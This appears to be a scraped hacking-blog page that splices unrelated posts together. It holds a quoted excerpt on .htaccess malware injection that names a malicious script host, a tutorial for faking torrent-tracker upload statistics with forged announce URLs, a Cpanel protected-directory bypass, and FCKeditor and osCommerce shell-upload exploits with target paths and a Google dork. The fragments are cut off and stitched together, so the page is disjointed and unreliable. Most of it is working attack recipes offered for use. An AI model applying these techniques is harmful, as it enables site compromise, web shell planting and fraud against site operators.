ErrorDocument 404 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 405 http://nicomagen.cz.cc/ht_er_docs/


3 – Appending malware to a web site


This type of attack is getting more common lately. Instead of doing the redirection in the .htaccess file, they modify the PHP value “auto_append_file” to load malware from a hidden location. For example:
php_value auto_append_file “/tmp/13063671977873.php”

So the content of /tmp/13063671977873.php gets appended to every PHP file. This is what the PHP file looks like:
<script src=”http://nicomagen.cz.cc/jquery.js”></script>

A common javascript malware. They sometimes even append fake images to make it even harder to detect.

In the next part of this article we will talk about additional .htaccess attacks and give you some tips to detect and analyze them.

Source : http://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html

How-To: Increase your upload/download/ratio in torrent trackers

The “bug” has been tested on the torrent trackers that use the torrentbits source code (I don’t know if it works on other trackers).
The idea of this this “bug” is that you will sniff your torrent info using the HTTP Analyzer and with Firefox you will update your stats to the tracker being identified as a client. This is a simple and short tutorial that shows you how to do it, if you are “more” advanced you can use other tools to do it.

Programs that you need:
- HTTP Analyzer – http://www.ieinspector.com/httpanalyzer/
- Mozilla Firefox – http://www.mozilla.org/products/firefox/
- User Agent Switcher Extension – http://chrispederick.com/work/firefox/useragentswitcher/
- And an bittorrent client.

Steps:

1. Install the User Agent Switcher Extension (the extension will be used to identify as a bittorrent client to the tracker) to Mozilla Firefox (if you don’t have Firefox, get it!).
2. After installing the extension go in Firefox to:

Tools -> User Agent Switcher -> Options -> Options -> User Agents

Click Add, write “BitTorrent/3.4.2” to the Description and User Agent and then press “Ok”.


3. Then go to:

Tools -> User Agent Switcher and select the newly added User Agent, “BitTorrent/3.4.2”.

4. Install HTTP Analyzer.
5. Get a .torrent file from a tracker that uses the torrentbits source code and add it to your client. (DO NOT START IT)
6. Start HTTP Analyzer and go to the “Start Logging” button, select “Select a process…”, choose your bittorrent client (Important: If you use Azureus, select the javaw.exe proccess from the list) from the list and click “Ok”.


7. Go into your client and start the torrent.
8. Now go into HTTP Analyzer, there you should see a GET request to the tracker.

Example:

GET /torrents/announce.php?info_hash=%B5%2D%F4%ADM%18%7C%83C%E9%EC%C8%C7%F7%973%3Fap%15&peer_id=%2DBC0059%2Dp%D1%FBd%D0%C6%EC%7B%B4%D5q%B8&port=12345&uploaded=0&downloaded=0&left=0&numwant=200&compact=1&no_peer_id=1&key=9427&event=started HTTP/1.0


9. Open Firefox, paste into the address bar:

http://TRACKER.ADDRESS/announce.php?info_hash=INFOHASH&peer_id=PEERID&port=PORT&uploaded=UPLOADED&downloaded=0&left=0&numwant=0&event=completed

replace:

TRACKER.ADDRESS with the torrent tracker address (ex: www.filelist.org:81)
INFOHASH with info_hash variable taken from the GET request from HTTP Analyzer,
PEERID with the peer_id
PORT with the port
UPLOADED with an number that you want, in bytes (ex: 10737418240 for 10GB)

Example:

http://www.filemp3.org:81/announce.php?info_hash=%B5%2D%F4%ADM%18%7C%83C%E9%EC%C8%C7%F7%973%3Fap%15&peer_id=%2DBC0059%2D%C3F%A4c%C4%0D%D35i%93%93%EA&port=12345&uploaded=10737418240&downloaded=0&left=0&numwant=0&event=completed

press enter and then stop the torrent in your client.

Now you should have 10GB added to your upload.

FileMP3 screens :D



The “bug” should work on all sites that use the TorrentBits source code (including filelist.org, torrentbytes.net and anothers). If you have any questions please send an email to xyflar@gmail.com

source : http://xyflar.blogspot.com/

Gaining Administrative Privileges on any Blogger.com Account, 1337$ (Google Reward Program)

Hi,

This is my first post in my blog and also my first post regarding my security vulnerabilities findings in Google Reward Program,

In the last 2 months, I participated in Google reward program and found some High, Serious vulnerabilities,

Cpanel and Apache by-pass protected directory

Software : Cpanel & Apache
Type of vunlnerability : Protected Directory Traversal & Gain Access Files
Tested On : Cpanel 11
Risk of use : High

Discovered by : dinhcaohack
Team Website : http://vniss.net
Exploit
Code:

1. Convert IP: calculate ( (first octet * 2^24) + (second octet *2^16)
+ (third octet * 2^8) + (fourth octet) ).
So we have 65.60.10.2 is 1094453762.
2. Find exact username like : xgroup
3. Access protected directories and files (by .htaccess & .htpasswd) on browser:
http://1094453762/~xgroup/protect/
http://1094453762/~target/protect/index.php
etc.

 

Commerce Remote File Upload Vulnerability (/admin/categories.php)

# Exploit Title: [oscommerce remote upload from categories.php]
# Google Dork: ["powered by oscommerce"]
# Date: [20-November-2010]
# Author: [Number 7]
#Contact: {an[dot]7[at]live[dot]fr}
# Software Link: [http://www.oscommerce.com/solutions/downloads]
# Tested on: [windows-linux-FreeBSD-Solaris]

Acidcat CMS v 3.3 (fckeditor) Shell Upload Vulnerability

===[ Exploit ]===

[»] http://server/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp

[»] asp renamed via the .asp;.jpg (shell.asp;.jpg)

News Script PHP Pro (fckeditor) File Upload Vulnerability

===[ Exploit ]=== ./Iranian HackerZ

[»] http://server/[patch]/fckeditor/editor/filemanager/connectors/uploadtest.html

[»] Select the "File Upload" To use = php

===[ Upload To ]===

[»] http://server/[patch]/userfiles/Name File

Maximus CMS (fckeditor) Arbitrary File Upload Vulnerability

exploit # path/html/FCKeditor/editor/filemanager/connectors/uploadtest.html

[!] first find the target host

ex: www.site.com or www.target.com/maximus

then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html#

 
2012 upshell | Header Image by Game Wallpapers
Avatar Gamezine Designed by Cheapest Tablet PC
Supported by Phones 4u